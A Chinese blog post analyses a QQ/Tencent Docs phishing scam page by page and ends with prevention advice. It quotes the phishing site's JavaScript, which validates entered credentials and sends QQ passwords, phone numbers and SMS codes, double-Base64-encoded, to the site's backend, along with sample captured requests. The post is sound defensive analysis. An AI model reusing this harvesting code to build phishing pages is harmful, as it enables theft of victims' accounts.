分析一种利用腾讯文档传播的新型诈骗

  • ~6.21K 字
  1. 1. 诈骗文档的传播
  2. 2. 对诈骗网站的分析
    1. 2.1. 落地页:/
    2. 2.2. 登录页:/step_in/
    3. 2.3. 手机号输入页:/step_phone/
    4. 2.4. 验证码输入页:/step_code/
    5. 2.5. 完成页:/step_done/
  3. 3. 多提一句
  4. 4. 防范建议
  5. 5. 延伸阅读
  6. 6. 外部链接

近日我频繁收到通过QQ私信分享的腾讯文档链接,不法分子利用马化腾的妈腾讯的客服存在状态必定相同的特点,以腾讯文档为跳板进行钓鱼。遇到这种情况时,大家务必提高警惕。本文将粗浅地分析一下这种诈骗的技术手段。

快速跳转到防范建议

诈骗文档的传播

诈骗分子首先通过盗号获取QQ账号,以该账号的名义创建腾讯文档,并通过群内临时会话发送文档链接。由于是同学、熟人发送,受害者更容易信任并点击链接:

QQ私信

点击链接后,受害者会看到一个腾讯文档,所述内容贴近真实通知的情境,而且通常包含一些诱导性的信息,如「收到邮件的同学请立即打开查询登记」等:

诈骗文档截图

文档中故意插入模糊的图片,并故意写入相关提示,诱导用户打开链接:

如文件过大导致图片模糊打不开,请复制上方链接地址到手机浏览器上打开[登录个人腾讯文档信息版面自行查看认证]

导航到文档中提供的诈骗网站后,受害者会被引导至一个伪装成正规登录页面的钓鱼网站,开始诈骗流程。

从这一步开始,你不再在腾讯所控制的页面中操作,而是进入了由第三方控制的伪造页面。

对诈骗网站的分析

诈骗网站的设计非常粗糙,骗的就是不仔细看、觉得事情很重要哗哗哗连底裤都给出去了的笨蛋!

落地页:/

首先看到的是一个虚假的贴图页面,贴图都不好好贴,用的是CSS background: url('./images/School.png') no-repeat center;。贴图比较宽,如果你眼尖,在手机上应该也能发现画面拉伸、字体不对等问题了。

点击图片的任意位置就能看到弹窗,提示你进入登录页面:

诈骗网站落地页截图

点击确定按钮后,用户进入伪造的登录页面。

登录页:/step_in/

诈骗网站登录页截图

值得一提的是,这玩意儿的键盘是照着旧版iOS的键盘自己搓的,如果你在电脑上打开就会看到很惊悚的画风:

诈骗网站登录页键盘截图

自己搓键盘有一个好处,就是在微信、QQ里打开时,不会弹出「非腾讯官方页面」的警告。缺点么……如果你走点心,可能就发现这键盘和你手机上的不一样了。

下面的代码是登录页的核心验证逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function sameChar(str) {
var result = true;
var c = str.charAt(0);
for (var i = 0; i < str.length; i++) {
if (c != str.charAt(i)) {
result = false;
break;
}
}
return result;
}
function error(msg) {
$("#error_message").html(msg);
$("#error_tips").show().delay(3000).hide(0);
var err = true;
}
function Login() {
var p = $("#p").val();
var u = $("#u").val();
if (u == '') {
error('&#24744;&#36824;&#27809;&#26377;&#36755;&#20837;&#24080;&#21495;!');
return false;
}
if (p == '') {
error('&#24744;&#36824;&#27809;&#26377;&#36755;&#20837;&#23494;&#30721;!');
return false;
}
if (u.length < 6 || u.length > 11) {
error("&#24744;&#36755;&#20837;&#30340;&#24080;&#21495;&#26684;&#24335;&#19981;&#27491;&#30830;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;。");
$("#u").val('');
return false;
}
if (p.length < 6 || p.length > 16) {
error('&#24744;&#36755;&#20837;&#30340;&#23494;&#30721;&#26684;&#24335;&#19981;&#27491;&#30830;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;。');
$("#p").val('');
return false;
}
if (sameChar(u)) {
error("&#24744;&#36755;&#20837;&#30340;&#24080;&#21495;&#26684;&#24335;&#19981;&#27491;&#30830;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;。");
$("#u").val('');
return false;
}
if (sameChar(p)) {
error("&#24744;&#36755;&#20837;&#30340;&#23494;&#30721;&#26684;&#24335;&#19981;&#27491;&#30830;&#65292;&#35831;&#37325;&#26032;&#36755;&#20837;。");
$("#p").val('');
return false;
}
ds('sv', {
user: u,
pass: p
});
if (window.cess) cess.init('登记');
}

对用户输入的限制还挺严格,在前端就排除了乱填的那些人。通过验证后调用的ds函数是这样的:

1
2
3
4
5
6
function ds(act,data){
console.log(data);
$.get('../app/data.php','sv='+encodeURIComponent(b6(b6(JSON.stringify({act:act||'sv',data:data})))),function(d){
d = dejson(d);
});
}

输入账号密码并点击登录按钮后,数据会被双重Base64编码,并通过GET请求发送到服务端:

1
/app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaWRYTmxjaUk2SWpFeE5EVXhOQ0lzSW5CaGMzTWlPaUp4ZDJWeWRIbDFhVzl3SW4xOQ==

解码后:

1
{"act":"sv","data":{"user":"114514","pass":"qwertyuiop"}}

手机号输入页:/step_phone/

诈骗网站手机号输入页截图

在这一页,网站欺骗用户需要验证,并要求输入手机号。提交手机号时,数据经过双重Base64编码通过GET请求发送到服务端:

1
/app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaWNHaHZibVVpT2lJeE1UUTFNVFF4T1RFNU9DSjlmUT09

解码后:

1
{"act":"sv","data":{"phone":"11451419198"}}

验证码输入页:/step_code/

诈骗网站验证码输入页截图

这一步,网站会在后台轮询后端。总之,验证码提交后,数据依然是经过双重Base64编码通过GET请求发送到服务端:

1
/app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaVkyOWtaU0k2SWpFeE1UUTFNU0o5ZlE9PQ==

解码后:

1
{"act":"sv","data":{"code":"111451"}}

完成页:/step_done/

恭喜,你被骗了!🎉

诈骗网站完成页截图

上面这个腾讯的图标是会转的,其实就是一张GIF,让你以为页面在加载。尽管网站提示「请勿操作!文档加载中…」,但是你永远也看不到文档了;一同变得永远也看不到的还有你的QQ,它马上就要变成下一个用于钓鱼的账户了……

多提一句

如果你成功找回了QQ号,记得看一下自己是不是被学校的很多群踢掉了。记得加回来哦!

防范建议

  1. 提高警惕:不要轻易点击陌生人发送的链接,哪怕是腾讯文档的连接。腾讯他妈的哪有客服,就算有人举报,我看一周之内都未必能下掉。问我咋知道的?问就是我真的还收到过一次……
    钓鱼邮件截图
  2. 验证来源:学校发的通知肯定是学校的域名,收集表也不可能私聊发给你,登录QQ的时候肯定也是在qq.com域名下。
  3. 换个花哨的键盘皮肤和手机字体:在钓鱼网站模仿你的操作系统元素(如键盘)时,你能够及时发现问题。同时,你也可以及时发现使用简单的贴图完成的伪装。需要注意的是,这种方法在对界面和字体不太敏感的人身上可能防范力度不大,延伸阅读中的文章谈到了这个问题,我节选一段小故事放在这里:

    Back in 2007 as the IE team was launching Extended Validation (EV) certificates, Microsoft Research was publishing a paper calling into question their effectiveness. A Fortune 500 financial company came to visit the IE team as they evaluated whether they wanted to go into the EV Certificate Authority business. They were excited about the prospect (as were we, since they were a well-known-name with natural synergies) but they noted that they thought the picture-in-picture problem was a fatal flaw.

    I was defensive– “It’s interesting,” I conceded, “but I don’t think it’s a very plausible attack.“

    They retorted “Well, we passed this screenshot around our entire information security department, and nobody could tell it’s a picture-in-picture attack. Can you?” they slid an 8.5×11 color print across the table.

    “Of course!” I said, immediately relieved. I quickly grew gravely depressed as I realized the implications of the fact that they couldn’t tell the difference.

    “How?” they demanded.

    “It’s a picture of an IE7 browser running on Windows Vista in the transparent Aero Glass theme with a page containing a JPEG of an IE7 browser running on Windows XP in the Luna-aka-Fisher Price theme?” I pointed out.

    “Oh. Huh.” they remarked as they squinted and reexamined the picture.

    My thoughts of using browser personalization as an effective mitigation died that day.

延伸阅读

外部链接

分享这一刻
让朋友们也来瞅瞅!